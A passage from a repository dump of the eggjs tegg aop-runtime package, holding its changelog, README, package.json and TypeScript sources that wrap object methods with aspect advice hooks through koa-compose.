@eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n\n### Bug Fixes\n\n* fix modify ctx.args in aop beforeCall not work ([#187](https://github.com/eggjs/tegg/issues/187)) ([7656424](https://github.com/eggjs/tegg/commit/765642414387c8a9940525cd3c519fcb5fd694a0))\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n\n### Bug Fixes\n\n* init all context advice if root proto miss ([#139](https://github.com/eggjs/tegg/issues/139)) ([0602ea8](https://github.com/eggjs/tegg/commit/0602ea81578bf717ee4b4c490ace8c1c133478c5))\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n\n### Features\n\n* implement advice params ([76ec8ad](https://github.com/eggjs/tegg/commit/76ec8ad7b7170a637e59d74d49c1f00d8a201321))\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n* fix mock prototype in aop not work ([#66](https://github.com/eggjs/tegg/issues/66)) ([16640eb](https://github.com/eggjs/tegg/commit/16640eb751405532b2a1241b17624ce3ac2d1c7a))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n* fix mock prototype in aop not work ([#66](https://github.com/eggjs/tegg/issues/66)) ([16640eb](https://github.com/eggjs/tegg/commit/16640eb751405532b2a1241b17624ce3ac2d1c7a))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n## [1.4.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-aop-runtime@1.4.0...@eggjs/tegg-aop-runtime@1.4.1) (2022-09-04)\n\n\n### Bug Fixes\n\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n\n\n\n\n\n# 1.4.0 (2022-08-24)\n\n\n\n# 1.3.0 (2022-07-01)\n\n\n\n# 1.2.0 (2022-06-29)\n\n\n\n## 1.1.1 (2022-06-21)\n\n\n\n# 1.1.0 (2022-06-15)\n\n\n\n## 1.0.5 (2022-04-24)\n\n\n### Bug Fixes\n\n* should throw with no aop proto ([#34](https://github.com/eggjs/tegg/issues/34)) ([5c0b98a](https://github.com/eggjs/tegg/commit/5c0b98a89924f5bad062018e32fbd7993169126c))\n\n\n\n## 1.0.3 (2022-02-08)\n\n\n### Bug Fixes\n\n* rm console ([7455ce6](https://github.com/eggjs/tegg/commit/7455ce6fcc04fe9463a1ecf6e03e049ce2faf6f0))\n\n\n\n## 1.0.2 (2022-02-08)\n\n\n\n## 1.0.1 (2022-02-08)\n\n\n\n# 1.0.0 (2022-02-08)\n\n\n\n# 0.2.0 (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-aop-runtime\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/core/aop-runtime/README.md",
    "content": "# `@eggjs/aop-runtime`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/aop-runtime.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/aop-runtime.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/aop-runtime\n[snyk-image]: https://snyk.io/test/npm/@eggjs/aop-runtime/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/aop-runtime\n[download-image]: https://img.shields.io/npm/dm/@eggjs/aop-runtime.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/aop-runtime\n\n## Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/aop-runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/aop-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg aop runtime\",\n  \"keywords\": [\n    \"aop\",\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/aop-runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/aop-runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/aop-decorator\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"koa-compose\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggAopRuntime\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/AspectExecutor.ts",
    "content": "import type { AdviceContext, AspectAdvice, IAdvice } from '@eggjs/tegg-types';\nimport compose from 'koa-compose';\nimport type { Middleware } from 'koa-compose';\n\nclass InternalAdviceContext<T = Record<string, IAdvice>> {\n  private readonly state: Map<PropertyKey, any>;\n  that: T;\n  method: PropertyKey;\n  args: any[];\n\n  constructor(that: T, method: PropertyKey, args: any[]) {\n    this.state = new Map();\n    this.that = that;\n    this.method = method;\n    this.args = args;\n  }\n\n  get(key: PropertyKey): any {\n    return this.state.get(key);\n  }\n\n  set(key: PropertyKey, value: any): this {\n    this.state.set(key, value);\n    return this;\n  }\n\n  createCallContext(adviceParams?: any): AdviceContext<T> {\n    return Object.create(this, {\n      adviceParams: {\n        value: adviceParams,\n      },\n    });\n  }\n}\n\nexport class AspectExecutor {\n  obj: object;\n  method: PropertyKey;\n  aspectAdviceList: readonly AspectAdvice[];\n\n  constructor(obj: object, method: PropertyKey, aspectAdviceList: readonly AspectAdvice[]) {\n    this.obj = obj;\n    this.method = method;\n    this.aspectAdviceList = aspectAdviceList;\n  }\n\n  async execute(...args: any[]): Promise<unknown> {\n    const ctx = new InternalAdviceContext(this.obj as Record<string, IAdvice>, this.method, args);\n    await this.beforeCall(ctx);\n    try {\n      const result = await this.doExecute(ctx);\n      await this.afterReturn(ctx, result);\n      return result;\n    } catch (e) {\n      await this.afterThrow(ctx, e as Error);\n      throw e;\n    } finally {\n      await this.afterFinally(ctx);\n    }\n  }\n\n  async beforeCall(ctx: InternalAdviceContext): Promise<void> {\n    for (const aspectAdvice of this.aspectAdviceList) {\n      const advice = ctx.that[aspectAdvice.name];\n      if (advice.beforeCall) {\n        /**\n         * 这里...写法使传入的参数变成了一个新的对象\n         * 因此beforeCall里面如果修改了ctx.args\n         * 最新的args是不会在方法里生效的\n         * 先保证args可以生效\n         * 不改动其余地方\n         */\n        const fnCtx = ctx.createCallContext(aspectAdvice.adviceParams);\n        await advice.beforeCall(fnCtx);\n        ctx.args = fnCtx.args;\n      }\n    }\n  }\n\n  async afterReturn(ctx: InternalAdviceContext, result: any): Promise<void> {\n    for (const aspectAdvice of this.aspectAdviceList) {\n      const advice = ctx.that[aspectAdvice.name];\n      if (advice.afterReturn) {\n        const fnCtx = ctx.createCallContext(aspectAdvice.adviceParams);\n        await advice.afterReturn(fnCtx, result);\n      }\n    }\n  }\n\n  async afterThrow(ctx: InternalAdviceContext, error: Error): Promise<void> {\n    for (const aspectAdvice of this.aspectAdviceList) {\n      const advice = ctx.that[aspectAdvice.name];\n      if (advice.afterThrow) {\n        const fnCtx = ctx.createCallContext(aspectAdvice.adviceParams);\n        await advice.afterThrow(fnCtx, error);\n      }\n    }\n  }\n\n  async afterFinally(ctx: InternalAdviceContext): Promise<void> {\n    for (const aspectAdvice of this.aspectAdviceList) {\n      const advice = ctx.that[aspectAdvice.name];\n      if (advice.afterFinally) {\n        const fnCtx = ctx.createCallContext(aspectAdvice.adviceParams);\n        await advice.afterFinally(fnCtx);\n      }\n    }\n  }\n\n  async doExecute(ctx: InternalAdviceContext): Promise<unknown> {\n    const lastCall = () => {\n      const originMethod = Object.getPrototypeOf(this.obj)[this.method];\n      return Reflect.apply(originMethod, ctx.that, ctx.args);\n    };\n    const functions: Array<Middleware<InternalAdviceContext>> = [];\n    for (const aspectAdvice of this.aspectAdviceList) {\n      const advice = ctx.that[aspectAdvice.name];\n      const fn = advice.around;\n      if (fn) {\n        functions.push(async (ctx: InternalAdviceContext, next: () => Promise<any>) => {\n          const fnCtx = ctx.createCallContext(aspectAdvice.adviceParams);\n          return await fn.call(advice, fnCtx, next);\n        });\n      }\n    }\n    functions.push(lastCall);\n    return compose(functions)(ctx);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/CrossCutGraphHook.ts",
    "content": "import { AspectMetaBuilder, type CrosscutInfo, CrosscutInfoUtil } from '@eggjs/aop-decorator';\nimport { ClassProtoDescriptor, GlobalGraph, ProtoDependencyMeta, ProtoNode } from '@eggjs/metadata';\nimport { GraphNode } from '@eggjs/tegg-common-util';\n\nexport function crossCutGraphHook(globalGraph: GlobalGraph): void {\n  for (const moduleNode of globalGraph.moduleGraph.nodes.values()) {\n    for (const crossCutProtoNode of moduleNode.val.protos) {\n      const protoNodes = findCrossCuttedClazz(globalGraph, crossCutProtoNode);\n      if (!protoNodes) continue;\n      for (const crossCuttedProtoNode of protoNodes) {\n        const crossCuttedModuleNode = globalGraph.findModuleNode(crossCuttedProtoNode.val.proto.instanceModuleName);\n        if (!crossCuttedModuleNode) continue;\n        globalGraph.addInject(\n          crossCuttedModuleNode,\n          crossCuttedProtoNode,\n          crossCutProtoNode,\n          crossCutProtoNode.val.proto.name,\n        );\n      }\n    }\n  }\n}\n\nfunction findCrossCuttedClazz(globalGraph: GlobalGraph, protoNode: GraphNode<ProtoNode, ProtoDependencyMeta>) {\n  const proto = protoNode.val.proto;\n  if (!ClassProtoDescriptor.isClassProtoDescriptor(proto)) {\n    return;\n  }\n  if (!CrosscutInfoUtil.isCrosscutAdvice(proto.clazz)) {\n    return;\n  }\n  const crosscutInfoList = CrosscutInfoUtil.getCrosscutInfoList(proto.clazz);\n  const result: GraphNode<ProtoNode, ProtoDependencyMeta>[] = [];\n  for (const protoNode of globalGraph.protoGraph.nodes.values()) {\n    for (const crosscutInfo of crosscutInfoList) {\n      if (checkClazzMatchCrossCut(protoNode, crosscutInfo)) {\n        result.push(protoNode);\n        break;\n      }\n    }\n  }\n  return result;\n}\n\nfunction checkClazzMatchCrossCut(protoNode: GraphNode<ProtoNode>, crosscutInfo: CrosscutInfo) {\n  const proto = protoNode.val.proto;\n  if (!ClassProtoDescriptor.isClassProtoDescriptor(proto)) {\n    return;\n  }\n  const allMethods = AspectMetaBuilder.getAllMethods(proto.clazz);\n  for (const method of allMethods) {\n    if (crosscutInfo.pointcutInfo.match(proto.clazz, method)) {\n      return true;\n    }\n  }\n  return false;\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/EggObjectAopHook.ts",
    "content": "import assert from 'node:assert';\n\nimport { Aspect } from '@eggjs/aop-decorator';\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport { ASPECT_LIST, InjectType } from '@eggjs/tegg-types';\nimport type { EggObject, EggObjectLifeCycleContext, LifecycleHook } from '@eggjs/tegg-types';\n\nimport { AspectExecutor } from './AspectExecutor.js';\n\nexport class EggObjectAopHook implements LifecycleHook<EggObjectLifeCycleContext, EggObject> {\n  private hijackMethods(obj: any, aspectList: Array<Aspect>) {\n    for (const aspect of aspectList) {\n      const newExecutor = new AspectExecutor(obj, aspect.method, aspect.adviceList);\n      obj[aspect.method] = newExecutor.execute.bind(newExecutor);\n    }\n  }\n\n  // constructor inject only paas obj to constructor\n  // should manually define obj to property\n  private injectAdvice(eggObject: EggObject, obj: any, aspectList: Array<Aspect>) {\n    if (eggObject.proto.getMetaData(PrototypeUtil.INJECT_TYPE) !== InjectType.CONSTRUCTOR) {\n      return;\n    }\n    for (const aspect of aspectList) {\n      for (const advice of aspect.adviceList) {\n        const injectObject = eggObject.proto.injectObjects.find((t) => t.objName === advice.name);\n        assert(injectObject, `not found inject advice ${advice.name}`);\n        const adviceObj = EggContainerFactory.getEggObject(injectObject!.proto, advice.name);\n        Object.defineProperty(obj, advice.name, {\n          value: adviceObj.obj,\n          enumerable: false,\n        });\n      }\n    }\n  }\n\n  async postCreate(_: EggObjectLifeCycleContext, eggObject: EggObject): Promise<void> {\n    const aspectList: Array<Aspect> | undefined = eggObject.proto.getMetaData(ASPECT_LIST);\n    if (!aspectList || !aspectList.length) return;\n    const propertyDesc =\n      eggObject.constructor && Reflect.getOwnPropertyDescriptor(eggObject.constructor.prototype, 'obj')!;\n    // process the lazy getter\n    if (propertyDesc?.get) {\n      let obj: unknown;\n      // eslint-disable-next-line\n      const self = this;\n      Object.defineProperty(eggObject, 'obj', {\n        ...propertyDesc,\n        get(): unknown {\n          if (!obj) {\n            obj = Reflect.apply(propertyDesc.get!, eggObject, []);\n            self.hijackMethods(obj, aspectList);\n            self.injectAdvice(eggObject, obj, aspectList);\n          }\n          return obj;\n        },\n      });\n    } else {\n      this.hijackMethods(eggObject.obj, aspectList);\n      this.injectAdvice(eggObject, eggObject.obj, aspectList);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/EggPrototypeCrossCutHook.ts",
    "content": "import { CrosscutAdviceFactory, CrosscutInfoUtil } from '@eggjs/aop-decorator';\nimport type { EggPrototype, EggPrototypeLifecycleContext, LifecycleHook } from '@eggjs/tegg-types';\n\nexport class EggPrototypeCrossCutHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  private readonly crosscutAdviceFactory: CrosscutAdviceFactory;\n\n  constructor(crosscutAdviceFactory: CrosscutAdviceFactory) {\n    this.crosscutAdviceFactory = crosscutAdviceFactory;\n  }\n\n  async preCreate(ctx: EggPrototypeLifecycleContext): Promise<void> {\n    if (CrosscutInfoUtil.isCrosscutAdvice(ctx.clazz)) {\n      this.crosscutAdviceFactory.registerCrossAdviceClazz(ctx.clazz);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/LoadUnitAopHook.ts",
